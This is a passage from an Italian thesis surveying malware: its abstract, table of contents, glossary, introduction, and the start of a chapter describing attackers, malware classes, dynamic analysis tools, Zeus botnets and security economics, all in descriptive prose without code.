Sic 2

Sommario
Una delle principali e gravi minacce su Internet è il software nocivo, spesso

defnito come malware (malicious software) cresciuto esponenzialmente negli ultimi
anni. In questo studio sono affrontati solo alcuni aspetti connessi al malware, un
fenomeno considerato ormai una minaccia grave e multiforme al sistema economico
e sociale; vengono evidenziate le sue sfaccettature ed i punti di vista diversi che
portano ad una sua maggiore conoscenza per affrontare al meglio la progettazione e
l'applicazione delle armi più effcaci per combatterlo.
I campi e gli esperti implicati nello studio del malware, visto nel suo insieme
comprensivo dei fles esecutivi (nocivi) , il loro possibile utilizzo, lo sfruttamento, la
propagazione , le implicazioni economiche e sociali dei possibili effetti, le contro mis-
ure attuabili, sono molto vari e toccano ambiti che in apparenza potrebbero sembrare
distanti :
gli analisti informatici affrontano , verifcano e studiano tutti i metodi possibili per
rendere trasparente il codice dei così detti “campioni” nocivi (fle esecutivi) che sono
immessi nei circuiti informatici, per trovare i modi più immediati per scovarli e mi-
tigarne gli effetti, per creare strumenti di analisi dinamica dei campioni sempre più
effcienti. I ricercatori ed i produttori di software anti-virus si confrontano con una
moltitudine di campioni (programmi sospetti da analizzare) potenzialmente dannosi.
Ricevere migliaia di nuovi campioni ogni giorno non è raro in quanto chi li propaga
spera che il tempo impiegato per analizzare ogni campione dia al proprio codice no-
civo la possibilità di penetrare nei computer degli utenti;
gli esperti del comportamento umano , individuano le debolezze che portano alcuni
utenti a cadere nella rete di chi predispone trappole malware (l'accesso dei fles infetti
nei supporti informatici fnali avviene proprio sfruttando debolezze, errori, falle,
comportamenti automatici ed impreparazione);
gli analisti economici i cui studi in materia delineano le varie sfde economiche che
affiggono la sicurezza informatica : incentivi disallineati, asimmetrie informative e
esternalità.
In questo lavoro viene effettuata un'indagine affrontando quanto realizzato

da esperti specializzati in questi campi cercando di mettere in evidenza alcuni as-
petti della complessa dimensione del fenomeno. Come primo passo verrà effettuata:
una descrizione del malware e dei vettori di propagazione compresa l'ingegneria so-
ciale ponte di accesso sfruttato ampiamente per l'infltrazione nei supporti inform-
atici fnali;
seguita da: un'indagine sulle tecniche, basate principalmente su analisi din-
amiche. che vengono utilizzate per analizzare i campioni potenzialmente dannosi,
sui programmi che impiegano queste tecniche di supporto agli analisti umani nella
valutazione, in modo tempestivo e appropriato, del comportamento di un determ-
inato campione . Presenta inoltre le metodologie che possono essere applicate per an-
alizzare potenziali minacce e differenziare campioni che sono semplici varianti di
minacce già note e gli strumenti attualmente disponibili e i loro tentativi per
l'esecuzione di analisi dinamica automatica sul software potenzialmente dannoso;
viene approfondito il sistema Botnet e viene presentata: un'analisi del comporta-
mento di una Botnet come attacco strutturato e complesso e presentazione dei met-
odi allo studio e utilizzati per mitigarne gli effetti (monitoraggio del comportamento
ed analisi - Zeus family- );
vista l'ampiezza del problema e la diffcoltà di affrontarne le soluzioni che comunque
devono necessariamente essere diversifcate a secondo del tipo di attacco, mirate
all'individuazione dei punti deboli, quelli passibili dei danni, dell' individuazione
dell'esatta portata dei danni arrecati, vengono presentati gli aspetti del problema
malware secondo alcuni studi nel campo economico della sicurezza in particolare
quelli di Tyler Moore e Ross Anderson . Questi studi di economia della sicurezza in-
dividuano come i sistemi informativi siano inclini a fallire quando la persona o l'im-
presa responsabile per la protezione del sistema, non è quella che soffre quando
subisce le conseguenze del fallimento. Di conseguenza, qualsiasi analisi della
sicurezza informatica dovrebbe iniziare con l'analisi degli incentivi delle parti in-
teressate. Inoltre le asimmetrie informative fanno sì che non sempre vengano resi
pubblici i danni reali di un attacco ed i costi derivati in quanto , anche se danneggiate
alcune persone/imprese ritengono di non avere interesse a rilasciare i dati reali degli
attacchi subiti. La mancanza di sicurezza genera esternalità negative. Un computer
infetto che è stato incorporato in una rete gestita da malintenzionati (botnet) può in-
quinare Internet e danneggiare molti altri host. Le argomentazioni degli analisti eco-
nomici puntano sull'importanza di una progettazione guidata dagli incentivi giusti,
con informazioni corrette ed esternalità sicure.
Indice generale
1 INTRODUZIONE...................................................................................................1
1.1 CONTESTO .........................................................................................................................1
1.2 BACKGROUND.....................................................................................................................3
1.3 SCOPO ED OBIETTIVI...........................................................................................................4
2 RASSEGNA SUL MALWARE E SUA CLASSIFICAZIONE...........................6
2.1 GLI ATTACCANTI................................................................................................................6
2.2 CARATTERISTICHE DEL MALWARE........................................................................................7
2.2.1 VIRUS.........................................................................................................................7
2.2.2 WORM........................................................................................................................8
2.2.3 TROJAN HORSE...........................................................................................................8
2.2.3.1 Ransomware e cryptoware ................................................................................................................9
2.2.4 SPYWARE, KEYLOGGER, SNIFFER .............................................................................10
2.2.5 CSS CROSS SITE SCRIPTING......................................................................................11
2.2.6 ROOTKITS.................................................................................................................11
2.2.7 BOT..........................................................................................................................13
2.2.8 BOTNET....................................................................................................................14
2.3 VETTORI DI PROPAGAZIONE / INFEZIONE............................................................................15
2.3.1 SERVIZI VULNERABILI TRAMITE LA RETE....................................................................15
2.3.2 DRIVE-BY DOWNLOAD.............................................................................................16
2.3.2.1 Man-in-the-Middle...........................................................................................................................18
2.3.2.2 Man-in-the-Browser.........................................................................................................................18
2.3.3 INGEGNERIA SOCIALE. ..............................................................................................19
2.3.3.1 Esempio: Attacco con violazione di Microsoft Xbox ....................................................................20
3 ANALISI DEL MALWARE STATICA E DINAMICA....................................22

3.1 ANALISI STATICA..............................................................................................................23
3.1.1 PROBLEMI DI UTILIZZO DELL' ANALISI STATICA DEL MALWARE .................................23
3.2 ANALISI DINAMICA DEL MALWARE....................................................................................24
3.2.1 METODI E TECNICHE PER L' ANALISI DINAMICA.........................................................24
3.2.1.1 Monitoraggio delle chiamate di Funzione.......................................................................................24
3.2.1.2 Analisi dei Parametri di Funzione....................................................................................................25
3.2.1.3 Tracciamento del Flusso di informazioni.......................................................................................25
3.2.2 TRACCIARE LE ISTRUZIONI .......................................................................................26
3.2.3 ESTENDIBILITÀ DELL'AVVIO AUTOMATICO ................................................................27
3.3 STRATEGIE DI ATTUAZIONE...............................................................................................27
3.3.1 ANALISI NELLO SPAZIO USER/KERNEL......................................................................27
3.3.2 ANALISI IN UN EMULATORE.......................................................................................28
3.3.3 ANALISI IN UNA MACCHINA VIRTUALE......................................................................28
3.3.4 RIPRISTINO DELL'AMBIENTE DI ANALISI.....................................................................30
3.3.5 SIMULAZIONE DI RETE ..............................................................................................30
Non Internet, ma una Rete simulata. ..........................................................................................................31
Accesso a Internet filtrato. ..........................................................................................................................31
3.3.6 CORSA ALLE ARMI TRA ANALISTI ED AUTORI DEL MALWARE.....................................31
3.3.6.1 Codice che si Auto-Modifica e Packers. .........................................................................................32
3.3.6.2 Mitigare il problema Packer ............................................................................................................33
3.3.6.3 Reverse-engineering dell'algoritmo di unpacking...........................................................................33
3.3.6.4 Rilevamento generico e ricostruzione di codice packed................................................................33
4
.
3.3.6.5 Rilevazione di Ambienti di Analisi..................................................................................................34

Tecniche di contrasto all'Anti-Analisi..........................................................................................................36
3.3.6.6 Bombe logiche ..................................................................................................................................38
3.3.6.7 Analisi delle prestazioni ...................................................................................................................39
4 STRUMENTI DI ANALISI DEL MALWARE...................................................41

4.1 ANUBIS..............................................................................................................................41
4.2 CWSANDBOX ...................................................................................................................42
4.2.1 NORMAN SANDBOX....................................................................................................45
4.2.2 THREATANALYZER ...................................................................................................47
4.2.3 JOEBOX......................................................................................................................48
4.2.4 ETHER.......................................................................................................................49
4.2.5 WILDCAT ................................................................................................................51
4.2.5.1 Sakthi .................................................................................................................................................52
4.2.5.2 Spike...................................................................................................................................................52
4.2.5.3 Cobra .................................................................................................................................................52
4.2.6 HOOKFINDER.............................................................................................................53
4.3 TRATTARE CON BINARI PACKED........................................................................................54
4.3.0.1 Justin. ................................................................................................................................................54
4.3.0.2 Renovo. .............................................................................................................................................56
4.3.0.3 OmniUnpack. ....................................................................................................................................57
4.3.0.4 Analisi Spyware................................................................................................................................58
4.3.0.5 Behavior-Based..................................................................................................................................58
4.3.0.6 TQana. ...............................................................................................................................................59
4.3.1 PANORAMA................................................................................................................61
4.4 HONEYNET........................................................................................................................63
5 APPROFONDIMENTO SULLE BOTNET........................................................66
5.1 INTRODUZIONE E DESCRIZIONE............................................................................................66
5.1.1 CLASSIFICARE LE BOTNET COME ATTACCHI MITB......................................................68
5.1.1.1 URLzone (Bebloh) ............................................................................................................................69
5.1.1.2 Torpig (akaSinowal)..........................................................................................................................70
5.1.1.3 Zbot (Zeus, Kneber)...........................................................................................................................71
5.1.1.4 L'attacco MITB come strumento utilizzato dalle Botnet.................................................................72
5.1.1.5 Come fermare gli attacchi MITB......................................................................................................72
Attacco al sistema OOB................................................................................................................................73
Dati statistici sugli attacchi ..........................................................................................................................74
5.1.2 ZBOT (ZEUS KING OF THE BOT)- APPROFONDIMENTO- ...............................................74
5.1.2.1 Installazione di Zbot sul client vittima..............................................................................................77
5.1.2.2 Informazioni raccolte di default da Zbot...........................................................................................78
5.1.2.3 Il file di configurazione dinamica.....................................................................................................78
5.1.2.4 HTML Injection nelle pagine web....................................................................................................79
5.1.2.5 Attività aggiuntive.............................................................................................................................80
5.1.2.6 Comunicazioni sulla Rete..................................................................................................................80
5.1.2.7 Costruzione del bot eseguibile e file di configurazione statica.......................................................81
5.1.2.8 Configurazione del Server.................................................................................................................82
5.1.2.9 Tavole del database cpdb...................................................................................................................82
5.1.2.10 Considerazioni su installazione ed uso Zbot/Zeus.........................................................................83
5.1.2.11 La mutazione ZeuS-P2P / Gameover..............................................................................................83
6 ASPETTI ECONOMICI DELLA SICUREZZA ...............................................86

6.1 CONSIDERAZIONI GENERALI ..............................................................................................86
6.2 BARRIERE ECONOMICHE PER MIGLIORARE LA CYBERSECURITY.............................................86
6.2.1 INCENTIVI DISALLINEATI.............................................................................................87
6.2.2 INFORMAZIONI ASIMMETRICHE....................................................................................88
5
6.2.3 ESTERNALITÀ............................................................................................................90
7 CONSIDERAZIONI ............................................................................................92
8 CONCLUSIONI....................................................................................................94
9 APPROFONDIMENTI ANALISI DINAMICA................................................97
9.1 DETTAGLIO CHIAMATE DI FUNZIONE ................................................................................97
Application Programming Interface (API) ................................................................................................97
Chiamate di sistema.....................................................................................................................................97
API native di Windows nativo...................................................................................................................98
I risultati della funzione di Hooking (aggancio).........................................................................................99
Implementare la funzione di aggancio........................................................................................................99
Tracciare la Post-elaborazione della funzione di chiamata......................................................................101
9.2 DETTAGLIO TRACCIAMENTO FLUSSO DI INFORMAZIONI ...................................................102
Dipendenze Dirette dei dati ......................................................................................................................102
Utilizzo delle Dipendenze ....................................................................................................................102
Controllo delle Dipendenze del flusso .................................................................................................103
Il flusso di informazioni implicite ........................................................................................................103
Implementazione di sistemi di flusso di informazioni di monitoraggio .................................................104
9.3 DETTAGLIO EMULATORE ................................................................................................105
Emulatore di Memoria e CPU...................................................................................................................105
Emulazione completa del sistema ............................................................................................................106
9.4 DETTAGLIO RIPRISTINO AMBIENTE DI ANALISI ...............................................................108
Soluzione software. ..................................................................................................................................108
Istantanee Macchina Virtuale....................................................................................................................108
Supporto hardware per le istantanee ........................................................................................................108
10 ESEMPI – CASI DI STUDIO..............................................................................I

10.1 VIRUS_C.C (COMMENTATO).................................................................................................I
10.2 WORM LION...................................................................................................................III
10.3 TROJAN, WORM E BOT ....................................................................................................III
10.4 PACKER..........................................................................................................................IV
10.4.1 LA PROCEDURA DI IMPACCHETTAMENTO DI UN ESECUTIVO.......................................IV
10.5 ESEMPIO : COME CLASSIFICARE E FIRMARE UN FILE CON CLAMAV [B-69]....................VIII
10.6 SCHEMA DI ATTACCO DI UNA BOTNET...............................................................................X
10.6.1 ROUTINE ANTI-RILEVAMENTO PRE-INFEZIONE........................................................XI
10.6.2 PROCEDURA PER INVOCARE THREADS REMOTI......................................................XIII
10.6.3 COMUNICAZIONE CON NAMED PIPE.....................................................................XIV
10.6.3.1 Mass Process Infection.................................................................................................................XV
10.6.3.2 Come Scoprire e Rimuovere il Trojan........................................................................................XVI
10.7 IL PACCHETTO ZBOT/ZEUS.........................................................................................XVIII
10.8 RANSOMWARE TORLOCKER..........................................................................................XXI
10.9 WEB SERVERS CHE DIFFONDONO MALWARE................................................................XXII
10.10 IL MALWARE POS.................................................................................................XXVI
10.11 APT (ADVANCED PERSISTENT THREAT)..............................................................XXVIII
11 BIBLIOGRAFIA...........................................................................................XXX
12 RIFERIMENTI.........................................................................................XXXVI
6
.
Indice delle Figure

Figura 1: Diffusione di internet nel mondo nell'anno 2015 [47]................................................................1
Figura 2: Confronto malware tradizionali ed avanzati [4].........................................................................4
Figura 3: Esempio di struttura di una Botnet...........................................................................................14
Figura 4: Rilevamento Symantec su 12 mesi infezione di Zeus...............................................................75
Figura 5: Rilevamento Symantec in 10 paesi infezione di Zeus..............................................................76
Figura 6: Il monitor di abuse.ch che traccia i server C&C ......................................................................77
Figura 7: Pagina Web dopo l'iniezione.....................................................................................................80
Figura 8: Pagina Web prima dell'iniezione...............................................................................................80
Figura 9: Nodi della rete Zeus-P2P...........................................................................................................85
Figura 10: Esempio Dipendenze dirette 1..............................................................................................104
Figura 11: Esempio Dipendenze dirette 2..............................................................................................104
Figura 12: Esempio Dipendenze flusso .................................................................................................105
Figura 13: Esempio Informazioni implicite...........................................................................................105
Figura 14: Uso tipico di CR3 traduzione indirizzi in pagine 4 KiB....................................................109
Figura 15: codice virus_c .........................................................................................................................II
Figura 16: La chiave di registro creata dopo l'esecuzione di virus_c.......................................................II
Figura 17: Il nome cinese di worm lion...................................................................................................III
Figura 18: I componenti di worm lion - tcp connect portscanner, il bind exploit, e alcuni scripts che
legano i componenti e indirizzano l' worm...............................................................................................III
Figura 19: Il diagramma dei processi attivati da worm lion....................................................................III
Figura 20: La directory contenente UpX.exe ed il file virus_c.exe..........................................................V
Figura 21: Invio del comando upx............................................................................................................V
Figura 22: Il file packed virus_c.exe ........................................................................................................VI
Figura 23: Applicazione di Peid su esecutivo non packed.......................................................................VI
Figura 24: Applicazione di Peid su esecutivo packed con Upx..............................................................VII
Figura 25: Macchina Virtuale con Sistema Operativo REMnux.............................................................VII
Figura 26: Applicazione comando clamscan.........................................................................................VIII
Figura 27: Risultato del comando clamscan.............................................................................................IX
Figura 28: Panorama del comportamento di un Bot nel sistema...............................................................X
Figura 29: Routine Anti-rilevamento........................................................................................................XI
Figura 30: Funzione che genera numeri pseudo-casuali.........................................................................XII
Figura 31: Costanti Pipe.........................................................................................................................XIII
Figura 32: Gestione dei Processi.............................................................................................................XV
Figura 33: Modifiche sul sistema............................................................................................................XV
Figura 34: Scansione memoria...............................................................................................................XVI
Figura 35: Rilevamento URL.................................................................................................................XVI
Figura 36: Ricerca con Process Explorer..............................................................................................XVII
Figura 37: Home page sito keithjarrett.it..............................................................................................XXII
Figura 38: Form da infezione web anyboard.net................................................................................XXIV
Figura 39: Credenziali default sistemi POS........................................................................................XXVI
7
Elenco di Abbreviazioni e Simboli
API Application programming interface. Offrono insiemi di procedure utili al

programmatore. Le API windows consistono in un insieme di funzioni in
linguaggio C implementate in librerie a collegamento dinamico (in
inglese Dynamic-link libraries o DLL). Le Windows API, nonostante si-
ano scritte, in un mix di linguaggio C e assembly, presentano un
complesso modello orientato agli oggetti con una struttura molto uni-
forme ed uno stile che è stato di ispirazione per molti altri progetti.
ARM Advanced RISC Machine, prima ancora Acorn RISC Machine indica una
famiglia di microprocessori RISC a 32-bit sviluppata da ARM Holdings e
utilizzata in una moltitudine di sistemi embedded.
BHO BHO, letteralmente "assistente del browser", è un piccolo programma,
installato nel sistema da un altro software, che parte in automatico ogni
qualvolta si accede al browser.Nato nel 1997 come plugin di Internet Ex-
plorer 4 della Microsoft per aiutare l'utente a navigare o per personaliz-
zare il browser (vedi le barre aggiuntive in Internet Explorer), il BHO si è
rivelato un'arma a doppio taglio perché spesso nasconde adware o spy-
ware, autentici programmi malevoli il cui scopo è quello di monitorare la
navigazione dell'utente ed inoltrare i dati al loro creatore.
CnC - C&C Server Command and Control – Utilizzato in Ambiente Botnet per ge-
stire I bot ad esso collegati.
CR0 E' un registro del processore che cambia o controlla il comportamento
generale di una CPU o altro dispositivo digitale.Il registro CR0 è lungo
32 bit sui processori 386 e superiori. Su processori x86-64 , è lungo 64
bit (come gli altri registri di controllo). CR0 ha vari flag di controllo che
modificano il funzionamento di base del processore.
CR3 Usato quando è abilitato l'indirizzamento virtuale, quindi quando il bit PG
si trova in CR0. CR3 permette al processore di tradurre gli indirizzi lin-
eari in indirizzi fisici individuando la pagina della directory e la (table
page) per l'attività corrente. In genere, i 20 bit superiori di CR3 di-
ventano page directory base register (PDBR) , che memorizza l'indirizzo
fisico della prima entrata della pagina di directory.
DDoS Distributed denail-of-service.Indica un malfunzionamento in cui si fanno
esaurire le risorse di un un sistema informatico che fornisce un servizio
ad esempio un sito web su un web server, fino a renderlo non più in
grado di erogare il servizio ai client richiedenti.
DLL Dynamic-link library . E' una libreria software che viene caricata dinam-
icamente in fase di esecuzione, invece di essere collegata staticamente
a un eseguibile in fase di compilazione.
DOM Document Object Model , letteralmente modello a oggetti del docu-
mento, è una forma di rappresentazione dei documenti strutturati come
modello orientato agli oggetti.DOM è lo standard ufficiale del W3C per la
rappresentazione di documenti strutturati in maniera da essere neutrali
sia per la lingua che per la piattaforma. DOM è inoltre la base per una
vasta gamma di interfacce di programmazione delle applicazioni; alcune
di esse sono standardizzate dal W3C.
IA-32 (Intel Architecture 32 bit), a volte i386, si definisce l'architettura o l'in-
struction set dei microprocessori prodotti da Intel.
8
.
IDT Il Descriptor Table interrupt (IDT) è una struttura di dati utilizzata dal ar-
chitettura x86 per implementare una tabella vettore di interruzione. L'IDT
è utilizzato dal processore per determinare la risposta corretta per inter-
rupt ed eccezioni.
ISA Un set di istruzioni, o architettura del set di istruzioni (ISA), è la parte
dell'architettura computer connessa alla programmazione, compresi i tipi
nativi di dati, istruzioni, registri, modalità di indirizzamento, architettura
della memoria, interrupt e gestione delle eccezioni, e I / O esterno. Un
ISA comprende una specificazione del set di codici operativi (linguaggio
macchina), e i comandi nativi attuati da un particolare processore.
IRC Internet Relay Chat (IRC) è un protocollo di messaggistica istantanea su
Internet Descrizione : RFC 1459.
KADEMLIA E' un protocollo di rete peer-to-peer. utilizzata per il file sharing, basata
su tabelle distribuite su nodi della rete senza server centrali.
KVM KVM (kernel-based per Virtual Machine) è una soluzione di virtualizza-
zione completa per Linux su hardware x86 contenente le estensioni di
virtualizzazione (Intel VT o AMD-V).
MPLS Multi Protocol Label Switching è una tecnologia per reti IP che permette
di instradare flussi di traffico multiprotocollo tra nodo di origine (Ingress
Node) e nodo di destinazione
MSR Machine state register è un registro di stato della macchina , uno dei tre
registri di controllo di processo presenti nell'architettura processore
PowerPC
P2P Peer-to-peer (P2P) o rete paritaria o paritetica, è un'espressione che in-
dica un'architettura logica di rete in cui i nodi sono visti sotto forma di
nodi equivalenti o paritari (in inglese peer) che possono cioè fungere sia
da cliente che da servente verso gli altri nodi terminali (host) della rete.
Essa dunque è un caso particolare dell'architettura logica di rete cli-
ent-server.
PowerPC Acronimo di Performance Optimization With Enhanced RISC – Perform-
ance Computing, a volte abbreviato in PPC, rappresenta l'architettura
dell'insieme ISA RISC.
PTE Page Table Entry in ciascuna tabella delle pagine, ci sono anche 1024
entries. Sono entries della tabella delle pagine, e sono molto simili a
quelle della pagina delle directory.
QEMU QEMU è un emulatore generico ed open source e virtualizzatore mac-

china. Quando viene utilizzato come un emulatore, QEMU può eseguire
sistemi operativi e programmi realizzati per una macchina (ad esempio
una scheda ARM) su un computer diverso. Usa la traduzione dinamica,
raggiunge prestazioni molto buone.
RDTSC Counter Time Stamp (TSC) è un registro a 64 bit presente su tutti i pro-
cessori x86 dal Pentium in avanti. Conta il numero di cicli dal reset. L'is-
truzione RDTSC restituisce il TSC in EDX: EAX.
TDL Il linguaggio TDL (Template Description Language) è un'imple-
mentazione del linguaggio XML (Extensible Markup Language). TDL è
stato appositamente progettato per trasformare le idee dei progettisti di
architetture software in criteri significativi.
UPnP Universal Plug and Play (UPnP) è un protocollo di rete creato dall'UPnP
Forum. Permette la creazione di una rete peer-to-peer tra personal com-
9
puter e periferiche di rete.
WIDGET Un widget, in informatica, è un componente grafico di una interfaccia
utente di un programma, che ha lo scopo di facilitare all'utente l'in-
terazione con il programma stesso.
10
1. Introduzione
1 Introduzione
1.1 Contesto
Da quando l' utilizzo degli strumenti di comunicazione e di lavoro basati su
codice binario è diventato massivo è cresciuto in modo esponenziale il numero di col-
oro che appartengono al gruppo degli attaccanti degli utenti legittimi (o, per meglio
dire degli utenti inseriti nella regole di convivenza sociale che prevede il rispetto
della privacy e della proprietà) e studiano ed attuano a vari livelli software e tecniche
(di sfruttamento di falle di sicurezza , di ingegneria sociale,...) per carpire inform-
azioni da utilizzare per varie fnalità. Gli attacchi sono cresciuti con la diffusione in
tutto il mondo di Internet . Internet è presente ovunque: scuole, enti pubblici, casa, la-
voro. La connessione Internet è sempre disponibile per gli utenti: Internet mobile a
costi contenuti, larga diffusione di dispositivi mobili per accedere alla Rete (tablet e
smartphone). Ampio è utilizzo di Internet per effettuare il pagamento di servizi pub-
blici, acquistare prodotti e gestire i conti bancari.
Figura 1: Diffusione di internet nel mondo nell'anno 2015 [47]
Quota percentuale di utenti sottoposti ad attacchi provenienti dal Web (1° semestre del 2012):
Stati Uniti – 38,8%, 31° posto nel mondo;
1
Germania — 28,8%, 101° posto;
Gran Bretagna — 36,8%, 42° posto;
Francia – 36,3%, 44° posto;
Italia – 43,5%, 18° posto;
Unione Europea – 32,1%.
Elevato numero di utenti Mac OS X, crescita costante del numero di smartphone dotati di sis-
tema operativo mobile Android.
I sistemi operativi sottoposti al maggior numero di attacchi: Windows, Android,Mac OS X [1].
Di contro anche tra coloro che per studio, ricerca o per professione studiano le
contromisure si sono dotati di mezzi e strumenti sempre più sofsticati , sono stati
arruolati alcuni attaccanti seguendo la regola che prevede “per vincere conosci il
tuo nemico”.
Gli attaccanti se hanno la caratteristica esclusiva di perpetrare azioni criminali

sono defniti: cybercriminali . Il software nocivo che propagano è il malware defnito
come software che "compie deliberatamente l'intento dannoso di un attaccante".
Per poter infettare un computer con software nocivo , i cybercriminali devono [1] :
• Invogliare l'utente ad eseguire un fle infetto, oppure
• Tentare di penetrare nel computer della vittima, attraverso una vulnerabilità
del sistema operativo o di un'applicazione in esecuzione sul computer.
Allo stesso tempo, i cybercriminali più professionali tentano anche di assicur-

arsi che i loro fles sfuggano al software anti-virus in esecuzione sul computer della
vittima. Il campo di attacco preferito come è già stato detto è quello di Internet (e
qualsiasi altro mezzo dove avvengano transazioni di dati sensibili) .
I malware sono progettati da aggressori, sono polimorfci in quanto possono

presentare distinte e diverse caratteristiche e metamorfci in quanto possono
possedere la capacità di modifcare il loro codice mentre si propagano. Inoltre, la d i-
versità e il volume delle loro varianti minano gravemente l'efficacia delle difese trad-
izionali che utilizzano in genere tecniche basate sulle firme e non sono in grado di ril-
evare gli eseguibili dannosi sconosciuti in precedenza.
Le varianti di famiglie di software nocivo condividono modelli comporta-

mentali tipici che rifettono la loro origine e lo scopo. I modelli comportamentali ot-
tenuti in modo statico o dinamico possono essere sfruttati per rilevare e classifcare
2
1. Introduzione
malware sconosciuti nelle loro famiglie note utilizzando le tecniche di apprendimento

automatico.
1.2 Background
I primi malware conosciuti furono denominati virus. Il termine virus è stato
utilizzato per la prima volta da Len Adleman, un ricercatore dell’Università Lehigh in
Pennsylvania, che ha paragonato il comportamento di un virus informatico a quello
di un virus biologico, soprattutto per quanto concerne il propagarsi dell’infezione [2].
In origine questi programmi non furono creati per provocare danni. Il primo fu intro-
dotto nel 1970 sotto il nome di Creeper ed attaccò la rete ARPAnet .
Il primo virus sviluppato in Italia, che ebbe una notevole diffusione in tutto il
mondo, fu il cosiddetto virus della pallina – denominato Ping-pong – che si limitava a
far comparire sul video del computer una faccina sorridente che si spostava su tutto
lo schermo. È quasi certo che tale virus sia stato realizzato per fni di ricerca, nel 1987,
da alcuni studenti del Politecnico di Torino.
L'idea di creare malware e diffonderlo è diventata popolare nell' ambiente del

cyber-crime avendo perso la componente goliardica e di ricerca ed avendo assunto
negli anni aspetti ed usi legati a cyber-attacks. Ci troviamo ora di fronte ad un nuovo
capitolo che ha come argomento principe la diffusione di software nocivo che si
presenta con nomi diversi , utilizzato a volte in concorso con altri tipi e fnalizzato
quasi esclusivamente al furto di dati, soldi, di informazioni sensibili di qualsiasi tipo
che siano legate a singoli individui, gruppi, società (a prevalenza economico-fnanzi-
aria ma anche politica e religiosa) e così via.
I nomi sono Virus, Worm, Trojan horse, Spyware, Keylogger, Sniffer, Rootkit,
Backdoor, Adware …, possono essere utilizzati a gruppi per creare l'ossatura di Botnet,
infrastrutture costituite da bot (pc infetti) che propagano azioni nocive in rete. Le bot-
net costituiscono l'ultima generazione dei cyber-attacks. McAfee [3] cataloga oltre
100.000 nuovi campioni di malware ogni giorno e questo signifca circa 69 nuove min-
acce ogni minuto o circa una minaccia al secondo.
Con l'aumento di strumenti già disponibili e sofsticati, gli attacchi delle nuove
generazioni di minacce informatiche stanno diventando sempre più mirati, persist-
enti e nascosti. La fgura n.1 illustra il confronto di malware tradizionali e avanzati. I
3
malware avanzati sono mirati, sconosciuti, furtivi, personalizzati e Zero Day [1]
rispetto ai quelli tradizionali che erano diffusi, conosciuti, aperti e one-time.
Una volta dentro, si nascondono, si replicano e disabilitano o aggirano le pro-

tezioni del pc host. Dopo essersi installati, contattano i loro server di comando e con-
trollo per ulteriori istruzioni, che potrebbero essere quelle di rubare dati, di infettare
altre macchine, ed altro.
Per diffondere il software intrusivo e nocivo sono state attuate e continuano

ad esserlo varie tecniche defnite come: ingegneria sociale, che applicano l'arte
dell'inganno e della truffa alle nuove tecnologie. Il più famoso e primo hacker della
storia ad applicarle è stato Kevin Mitnik , ma essendo l'arte dell'inganno insita nel
comportamento e nella storia dell'uomo è ampiamente applicata nei modi più vari
da sempre in tutti i campi compreso Internet.
Figura 2: Confronto malware tradizionali ed avanzati [4]
1.3 Scopo ed Obiettivi
Lo scopo di questo lavoro è quello di mettere in evidenza alcuni aspetti della

complessa dimensione del fenomeno malware. Pertanto verrà realizzata una rassegna
delle tecniche attualmente utilizzate per la ricerca e la mitigazione del malware con
particolare attenzione alle tecniche ed agli Strumenti di analisi dinamica auto-
matizzata .
[1]
Zero Day , termine usati per descrivere la minaccia di una vulnerabilità di sicurezza sconosciuta in un
software o in applicazioni per le quali la patch (correzione) non è stata rilasciata o gli sviluppatori ne
erano inconsapevoli o non hanno avuto il tempo suffciente per affrontarla
4
1. Introduzione
Sarà data una panoramica delle principali tecniche di attacco perpetrate e su

come avviene un attacco complesso (utilizzando strutture esterne C n C e vari tipi di
fles infetti) tramite una botnet (rete di host compromessi).
Seguirà una presentazione sull' analisi e sulle valutazioni economiche sullo

stato della sicurezza in rapporto alle metodologie applicate per contrastare gli effetti
nefasti degli attacchi tramite software nocivo.
Per raggiungere questo obiettivo generale, saranno realizzati questi obiettivi :

• [Cap.2] Creare una rassegna degli studi sul malware e le minacce correlate.
Analizzare I malware più recenti e gli attacchi associati, il comportamento e gli
effetti . Evidenziare I vettori di propagazione ;
• [Cap.3 - Cap.4 - Cap.9] Creare una rassegna e la comparazione tra gli stru-
menti ed i metodi di analisi per combattere il malware e relativi strumenti di
rilevazione/valutazione;
• [Cap. 5] Approfondimento sulle botnet. Analisi delle botnet più potenti, e dell'
impatto dei loro attacchi; Esposizione di un attacco realizzato da una Botnet
(Zeus family);
• [Cap.6] Presentazione e considerazioni sugli aspetti del problema malware
secondo alcuni studi nel campo economico della sicurezza in particolare quelli
di Tyler Moore e Ross Anderson [B-1];
• [Cap. 7-8] Considerazioni e conclusioni sul tasso di successo nella rilevazione
del malware e sul contrasto agli effetti dei cyberattacks visto secondo il punto
di vista degli studi sulla sicurezza economica;
• [Cap. 10] Presentazione di esempi e casi di studio.
5
2 Rassegna sul malware e sua classificazione
Il termine di malware raggruppa un insieme di software, accomunati dalle car-

atteristiche comuni di essere ostili e invasivi, all'interno di questo insieme vengono
coniati termini diversi per i software a seconda degli aspetti che presentano esamin-
ando le loro precipue peculiarità.
La sezione seguente fornirà una panoramica di diversi tipi (le famiglie più
note) e delineerà la loro rilevanza anche nel contesto assunto all'interno delle botnet
delle quali, sarà fornita una descrizione sul funzionamento e saranno introdotti di-
versi tipi di infrastrutture e dei metodi più signifcativi delle botnet più recenti.
2.1 Gli Attaccanti

Il termine con cui sono defniti comunemente è: hacker , inteso come “colui
che cerca e sfrutta le debolezze in un sistema informatico o rete di computer”[19]. Gli
hacker possono essere motivati da una moltitudine di scopi, come il proftto, la prote-
sta, la sfda ed il divertimento. Si è evoluta una sottocultura degli hacker spesso def-
nita come underground dell'ambiente dell'informatica . Un uso diverso della parola
hacker, non legato alla sicurezza informatica, è riferito a qualcuno con una conoscen-
za avanzata di computer e reti informatiche. Esiste una distinzione fatta da alcuni
programmatori professionisti che considerano il termine hacker (black hat) destinato
a chi danneggia computer e reti e effettua azioni criminali, ed il termine hacker (whi-
te hat) per l' esperto di sicurezza informatica , per altri invece è più appropriatamen-
te chiamare i black hat con l'appellativo: cracker (più dispregiativo).
L'underground del computer ha prodotto un proprio gergo specialistico, de-

fnito “Leet /1337” ( in Leet “Haxor”, è la traduzione di hacker). I suoi membri spesso
sostengono la libertà di informazione, si oppongono fortemente al principio del dirit-
to d'autore, così come sostengono il diritto di libertà di espressione e della privacy.
Scrivere software e svolgere altre attività per sostenere questi punti di vista si riferi-
sce come: hacktivism. L'underground del computer è spesso paragonato al selvaggio
West. E' comune per gli hacker usare pseudonimi per nascondere la loro identità.
6
2. Rassegna sul malware e sua classificazione
Quando le attività svolte degli hacker diventano crimini veri e propri vengono
anche defniti cybercriminali. Infatti il Cyber-crime, o criminalità informatica, com-
